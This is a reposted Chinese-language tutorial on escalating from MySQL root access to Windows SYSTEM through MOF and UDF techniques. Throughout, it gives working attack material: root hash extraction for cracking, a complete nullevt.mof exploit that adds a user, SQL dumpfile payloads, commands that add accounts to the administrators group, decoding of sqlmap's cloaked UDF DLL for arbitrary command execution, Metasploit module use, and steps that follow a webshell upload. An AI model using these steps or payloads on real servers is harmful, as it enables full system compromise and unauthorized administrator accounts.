MySQl提權 mof、udf過程詳解
@TOC
〇、Mysql提權的必備條件
Mysql的服務沒有降權,并且需要獲取Mysql root賬號密碼
使用net user命令查看系統當前帳號,如果出現Mysql這類用戶,則系統可能進行了降權
1、root密碼查詢 # MySQL <= 5.6 版本 select user,password from mysql.user where user='root'; # MySQL >= 5.7 版本 select host,user,authentication_string from mysql.user; 將hash放入md5網站破解
1、創建lib文件夾 select 'xxx' into dumpfile 'C:\MySQL\lib::$INDEX_ALLOCATION'; 2、創建plugin文件夾 select 'xxx' into dumpfile 'C:\MySQL\lib\plugin::$INDEX_ALLOCATION'
查看數據庫路徑 select @@datadir; 查看插件的路徑 show variables like '%plugins%'; 查看Mysql的安裝路徑 select @@basedir; 查看當前操作系統多少位 select @@version_compile_os;
一、mof提權
1、win2k3 搭建
2、添加用戶
net user mark 123456 /add
3、確認網絡連接:ping、訪問
4、在mark賬戶下搭建phpstudy
5、處理secure_file_prive
SHOW VARIABLES LIKE "secure_file_priv";
(1)NULL,表示禁止
(2)如果value值有文件夾目錄,則表示只允許該目錄下文件
(3)如果為空,則表示不限制目錄
去掉導入的目錄限制??尚薷膍ysql配置文件(Windows下為my.ini, Linux下的my.cnf),在[mysqld]下面
修改完配置文件后,重啟mysql生效。
重啟后:
關閉:service mysqld stop
啟動:service mysqld start
利用了 c:/windows/system32/wbem/mof/ 目錄下的 nullevt.mof 文件,每分鐘都會在一個特定的時間去執行一次的特性,來寫入我們的cmd命令使其被帶入執行,以系統權限執行。
1、windows 03及以下版本
2、mysql啟動身份具有權限去讀寫 c:/windows/system32/wbem/mof目錄
3、secure-file-priv參數不為null
4、在之前必須沒有admin用戶才能成功
確認當前權限
net user whoami
MOF文件
托管對象格式 (MOF) 文件是創建和注冊提供程序、事件類別和事件的簡便方法。文件路徑為:c:/windows/system32/wbme/mof/,其作用是每隔五秒就會去監控進程創建和死亡。
提權原理
MOF文件每五秒就會執行,而且是系統權限,我們通過mysql使用load_file 將文件寫入/wbme/mof,然后系統每隔五秒就會執行一次我們上傳的MOF。MOF當中有一段是vbs腳本,我們可以通過控制這段vbs腳本的內容讓系統執行命令,進行提權
公開的nullevt.mof利用代碼
1 #pragma namespace("\\.\root\subscription") 2 instance of __EventFilter as $EventFilter 3 { 4 EventNamespace = "Root\Cimv2"; 5 Name = "filtP2"; 6 Query = "Select * From __InstanceModificationEvent " 7 "Where TargetInstance Isa \"Win32_LocalTime\" " 8 "And TargetInstance.Second = 5"; 9 QueryLanguage = "WQL"; 10 }; 11 instance of ActiveScriptEventConsumer as $Consumer 12 { 13 Name = "consPCSV2"; 14 ScriptingEngine = "JScript"; 15 ScriptText = 16 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")"; 17 }; 18 instance of __FilterToConsumerBinding 19 { 20 Consumer = $Consumer; 21 Filter = $EventFilter; 22 };
mof文件利用
將上面的腳本上傳到有讀寫權限的目錄下,因為mof目錄直接無法寫入
這里我上傳到了
C:/phpStudy/WWW/222.mof
我們使用sql語句將文件導入到
C:/windows/system32/wbem/mof/nullevt.mof
值得一提的是,這里不能使用outfile,因為會在末端寫入新行,因此mof在被當作二進制文件無法正常執行,所以我們用dumpfile導出一行數據
payload:
select load_file("C:/phpStudy/WWW/222.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
驗證提權
可以看到添加了hpdoger用戶,剩下的操作就是用戶命令處,換成加入administrator語句即可
net localgroup administrators hpdoger /add
net stop winmgmt del c:/windows/system32/wbem/repository net start winmgmt
重新啟動服務即可
二、UDF提權
UDF:用戶自定義函數、通過添加新函數、對mysql進行功能擴充
官方定義:UDF是mysql的一個拓展接口,UDF(Userdefined function)可翻譯為用戶自定義函數,這個是用來拓展Mysql的技術手段。 用戶通過自定義函數可以實現在Mysql中無法方便實現的功能,其添加的新函數都可以在SQL語句中調用利用MYSQL的自定義函數功能將Mysql賬號轉換為system權限。
假設我們的udf文件名是udf.dll,存放在mysql安裝目錄的lib/plugin(mysql>5.1,該目錄是不存在的)
在 udf.dll 文件中,我定義了名為 sys_eval() 的 MySQL 函數,該函數可以執行系統任意命令。但是如果我現在就打開 MySQL 命令行,使用 select sys_eval(‘whoami’);的話,系統會返回 sys_eval() 函數未定義。因為我們僅僅是把 udf.dll 放到了 lib/plugin 目錄下,并沒有引入。類似于面向對象編程時引入包一樣,如果沒有引入包,那么這個包里的類你是用不了的。
所以,我們應該把 udf.dll 中的自定義函數引入進來。
看一下官方文檔中的語法:
CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'
上述語法含有兩個變量:
1、function_name(函數名),引入的是sys_eval函數
2、共享函數包shared_library_name,udf.dll
當 MySQL< 5.1 版本時,將 .dll 文件導入到 c:\windows 或者 c:\windows\system32 目錄下。
當 MySQL> 5.1 版本時,將 .dll 文件導入到 MySQL Server 5.xx\lib\plugin 目錄下 (lib\plugin目錄默認不存在,需自行創建)。
udf:sqlmap/data/udf/mysql
sqlmap\udf\mysql\windows目錄下存放著lib_mysqludf_sys.dll_ sqlmap\udf\mysql\windows目錄下為64位的lib_mysqludf_sys.dll_
sqlmap 中 自帶 的shell 以及一些二進制文件,為了防止被誤殺都經過異或方式編碼,不能直接使用的。
可以利用sqlmap 自帶的解碼工具cloak.py,進入到 sqlmap\extra\cloak\cloak 目錄下,執行命令
python cloak.py -d -i C:\Users\BJernsen\Desktop\sqlmap\data\udf\mysql\windows\lib_mysqludf_sys.dll_
sqlmap中的udf文件提供的函數
sys_eval,執行任意命令,并將輸出返回。
sys_exec,執行任意命令,并將退出碼返回。
sys_get,獲取一個環境變量。
sys_set,創建或修改一個環境變量。
或者是在kali中/usr/share/metasploit-framework/data/exploits/mysql/
1、確定 secure_file_priv 的值
只有空值才可以提權
2、查看plugin的值
select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1); 當plugin的值為空時不可提權 當plugin的值為mysql_native_password可通過賬戶連接提權
3、查看系統架構以及plugin目錄
show variables like '%compile%'; //查看主機版本及框架 show variables like '%plugin%'; //查看plugin目錄(udf.php中都有)
第三步就是為了看看我們需要32還是64的dll
4、將dll文件寫入plugin目錄,并且創建函數
CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'
5、系統命令
在udf.dll文件寫入plugin目錄后,之后就可以使用sys_eval函數了
select * from mysql.func where name = 'sys_eval' // select sys_eval('whoami')
如果得到了數據庫的用戶名和密碼,并且可以遠程連接的話,可以使用MSF里面的 exploit/multi/mysql/mysql_udf_payload 模塊自動注入。
使用MSF中的 exploit/multi/mysql/mysql_udf_payload 模塊也可以進行UDF提權。MSF會將dll文件寫入lib\plugin\目錄下(前提是該目錄存在,如果該目錄不存在的話,則無法執行成功),dll文件名為任意創建的名字。該dll文件中包含sys_exec()和sys_eval()兩個函數,但是默認只創建sys_exec()函數,該函數執行并不會有回顯。我們可以手動創建 sys_eval() 函數,來執行有回顯的命令。
缺點:
1、仍然需要創建路徑
2、回顯只有0/1
3、需要手動創建函數
下載udf.php的鏈接
靶機環境:Windows Server 2003 、php 5.2.17 、 mysql 5.5.53
這里我們已經通過上傳一句話木馬拿到網站的shell了,并且得到了網站數據庫的用戶名和密碼都是root。但是因為獲得的系統用戶權限太低,無法創建新用戶。而且也不能使用其他提權等手段。所以,我們現在要做的就是使用UDF進行提權。
首先,我們把udf.php 兩個文件上傳到網站服務器
先創建目錄點擊Create PliuginDir
然后我們點擊 Dump UDF ,提示Dump DLL Success !
然后我們點擊 Create Function,下面就會有 select shell(‘cmd’,‘whoami’) ,然后我們點擊 Mysql_query ,下面就會有whoami命令的執行結果
我們可以把命令換成 net user hack 123 /add ,新建一個用戶,可以看到成功了!然后我們接下來吧hack用戶添加到administrators管理員組內,就可以遠程登錄了!
MySQL
版權聲明:本文內容由網絡用戶投稿,版權歸原作者所有,本站不擁有其著作權,亦不承擔相應法律責任。如果您發現本站中有涉嫌抄襲或描述失實的內容,請聯系我們jiasou666@gmail.com 處理,核實后本網站將在24小時內刪除侵權內容。
版權聲明:本文內容由網絡用戶投稿,版權歸原作者所有,本站不擁有其著作權,亦不承擔相應法律責任。如果您發現本站中有涉嫌抄襲或描述失實的內容,請聯系我們jiasou666@gmail.com 處理,核實后本網站將在24小時內刪除侵權內容。